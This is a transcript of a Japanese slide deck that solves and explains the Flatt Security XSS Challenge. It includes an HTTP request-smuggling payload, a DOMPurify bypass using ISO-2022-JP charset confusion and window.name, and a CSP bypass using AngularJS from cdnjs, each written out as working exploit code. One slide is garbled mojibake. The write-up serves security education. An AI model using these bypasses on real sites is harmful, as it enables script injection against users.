Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Flatt Security XSS Challenge 解答・解説

Flatt Security XSS Challenge 解答・解説

Avatar for GMO Flatt Security

GMO Flatt Security

January 07, 2025
Tweet

More Decks by GMO Flatt Security

Other Decks in Programming

Transcript

  1. 本資料について t 2024年11月に公開したFlatt Security XSS Challenge(https:// challenge-xss.quiz.flatt.training/)の各作問者による解答・解説資料で すQ t ※出題ページは予告なく非公開になる可能性がありま9

    t XSS Challenge解説も含むイベントとして2024年12月5日に開催 された「Flatt Security Beer Bash #1」で使用されたスライド をまとめたものです。
  2. ◦ ಉ༷ͷςΫχοΫ͕UJUMFλάͰ࢖͑ͨ͜ͱ͸*OUJHSJUJ0DUPCFS944 $IBMMFOHFͰग़୊͞Ε͍ͯͯ஌͍ͬͯͨIUUQTNJ[VSFQPTUJOUJHSJUJPDUPCFS YTTDIBMMFOHF ◦ ݪཧΛΑ͘ཧղ͠ͳ͍··਺ϲ݄์ஔʜ ◦ 'MBUU4FDVSJUZͰϒϩάΛࣥචͨ͠ͱ͖ʹ 
 +BWB4DSJQUͰͷTDSJQUจࣈྻʹؔ͢Δ

    
 ஫ҙ఺Λॻͨ͘Ίɺ)5.-ͷ࢓༷Λݟ͍ͯΔͱ 
 ۮવʮ&TDBQBCMFSBXUFYUFMFNFOUTʯΛൃݟ ◦ UJUMFλάͰUJUMF͕ग़Δ·Ͱதͷλά͕ೝࣝ͞Εͳ͍ͷ͸͜ͷछผͷ࢓༷ͩͬͨ ◦ ࢓༷ΛಡΉͱɺଞʹ΋UFYUBSFBλά͕&TDBQBCMFSBXUFYUFMFNFOUTʹଐ͍ͯ͠Δʂ ◦ ࠓճͷ໰୊ ͕࣌ؒ͋Ε͹ɿ࡞໰ܦҢ 
  3. 

  4. Flatt Security XSSチャレンジ #2 function previewContent() { const input =

    document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
  5. Flatt Security XSSチャレンジ #2 draft_id = query.get('id', [''])[0] if draft_id

    in drafts: escaped = html.escape(drafts[draft_id]) self .send_response(200) self .send_data(self.content_type_text, bytes(escaped, 'utf-8'))
  6. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  7. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  8. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100:

    self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
  9. 問題点1 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML =

    sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
  10. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 問題点1 リクエストボディ
  11. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 問題点1
  12. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  13. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  14. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法
  15. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法 サーバーが1つ目のリクエストとして解釈するライン
  16. おまけ const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator =

    doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
  17. 表示部分のJavaScript render関数がユーザー入力を受け取りプレビューを行う function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, {

    ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  18. renderの処理 1 まずDOMPurifyでサニタイズ function render(html) { const sanitizedHtml = DOMPurify.sanitize(html,

    { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  19. renderの処理 2 サニタイズされた文字列でHTML形式のBlobを作成 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html,

    { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  20. renderの処理 3 作成されたBlob URLをiframeに表示 function render(html) { const sanitizedHtml =

    DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
  21. DOMPurifyの構成 • 要素に関する指定は無し = デフォルト許可の要素が使用可能 • *_ATTR の設定で属性は全て不許可 const sanitizedHtml

    = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 構成は厳密でサニタイズそのものに問題はなさそう
  22. Blob作成部分 charset指定がない!! const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8"

    }); const blobURL = URL.createObjectURL(blob); charset指定がないとBlobのcharsetはどうなる?
  23. charsetの判断方法(ざっくり) 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 (※Safariは5で推測を行わず、設定の"デフォルトのエンコーディング"で表示) 5で想定外の文字コードを適用させられれば何かできそう?
  24. チャレンジのBlobの場合 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 ✘ ✘ ✘ ❶ Blob URLはiframeにある ❷ Blob URLは親から作成されたものでSame Originに相当 親は<meta>タグでUTF-8を指定してる。 よってUTF-8が継承される、うーん? ❶ ❷
  25. window.name • windowの名前はwindow.name プロパティからも設定可能 • この値はナビゲーション後も保持される <!–- https://site-A/ でホスト -->

    <script> window.name = "test";//windowの名前を設定 location = "https://site-B/";//site-Bに移動後window.nameにアクセスしてもまだ "test" </script> ※この方法は現在はChromeでのみ動作
  26. ここで生じる1つの疑問 じゃあ、"iframe" という名前をチャレンジの親windowにつけたら window.open(blobURL, "iframe") はどこをロード先にするの? <!–- https://site-A/ でホスト -->

    <script> window.name = "iframe"; location = "https://challenge-kinugawa.quiz.flatt.training/?html=AAA"; </script> もともとの<iframe>?それとも親?
  27. Blobがtopにある時:charsetの判断 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3.

    charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 文字コードの自動選択発動!! ✘ ✘ ✘ ✘
  28. ISO-2022-JP • 古き良き日本の文字コード • 特定のバイト列が出現すると2バイトで1文字を構成するモードに • 例: [0x1B] $ B

    • [0x1B] ( B が出現すると通常モード(ASCII)に戻る A A A [0x1B] $ B % F % 9 % H ! z [0x1B] ( B B B B ※制御文字や空白は [0xXX]で表現 AAAテスト★BBB decode
  29. ISO-2022-JP • 他では出現しない特徴的なバイト列のため自動検出が容易 • 文字コードがないページに [0x1B] $ B を発見 ISO-2022-JPで表示

    • 誤認させるのも簡単 • 2バイトで1文字のモードに切り替わると、ASCIIモードに入るま でバイトが食いつぶされるためXSSの危険あり: [0x1B] $ B <p[0x20]id=" [0x1B] ( B <img[0x20]src=x[0x20]onerror=...>"> 腫�蜆就 <img[0x20]src=x[0x20]onerror=...>"> decode
  30. DOMPurifyバイパス再考 • 今回は属性が使えない • 食いつぶして属性の中身を露出させるシナリオは無理 [0x1B] $ B <p[0x20]id=" [0x1B]

    ( B <img[0x20]src=x[0x20]onerror=...>"> [0x1B] $ B <p></p> sanitize どこかに<>を置ける場所があれば…
  31. <style> • DOMPurifyはデフォルトで許可 • 内側にHTMLタグっぽい文字列があるとstyleごと消される • mXSS対策 • < の後にアルファベットなどが続くケースを拒否

    • ただしそれ以外のケースでは <> は残ったままになる a <style><a></style> <style><@></style> a <style><@></style> sanitize
  32. <style> + ISO-2022-JP • 無視されるバイト列を < の間に挟み… • <style>の開始タグを破壊すれば…? [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style>

    sanitize [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style> decode 首�跂 � <script>alert(1)</script></style> 任意のタグが書けた!!
  33. 最後の一歩:CSPバイパス • metaタグにCSPあり • cdnjs.cloudflare.comが許可 • 様々なJSライブラリがここに存在 • CSPバイパスに便利なAngularJSも存在 default-src

    'none'; script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob:
  34. 最終的な解 <script> window.name="iframe"; eater = "\x1B$B"; ascii = "\x1B(B"; xss

    = ` ${eater}<style>${ascii} <${ascii}script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js> <${ascii}/script> <${ascii}img src=x ng-app ng-on-error=win=$event.target.ownerDocument.defaultView;win.alert(win.origin)>`; location = `https://challenge-kinugawa.quiz.flatt.training/?html=${encodeURIComponent(xss)}`; </script>
  35. おまけ1 • ChromeはかつてBlobのtypeでのcharset指定を無視していた • 中で<meta>タグ指定がなければ常に自動選択が起きる状態だった • CVE-2020-6562で修正、charset指定を尊重するように • https://issues.chromium.org/issues/40052417 •

    今回のチャレンジはこの時の発見に少し手を加えたもの const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" // ignored }); const blobURL = URL.createObjectURL(blob);
  36. なぜ無効にされた? • ありえないバイト列で特殊文字が生成されていたから(だと思う) • 自動選択でXSSが刺さるリスクが高かった [0x1B] $ B [0x01] [0x03]

    [0x1B] ( B [0x1B] $ B [0x01] [0x07] [0x1B] ( B [0x1B] $ B [0x01] [0x08] [0x1B] ( B [0x1B] $ B [0x01] [0x1D] [0x1B] ( B [0x1B] $ B [0x01] [0x1F] [0x1B] ( B [0x1B] $ B [0x01] [0x3D] [0x1B] ( B q" q& q' q< q> q\ 結局、明示的にISO-2022-JPをcharsetに指定したときのデコードはこの動作のままでEOLを迎えた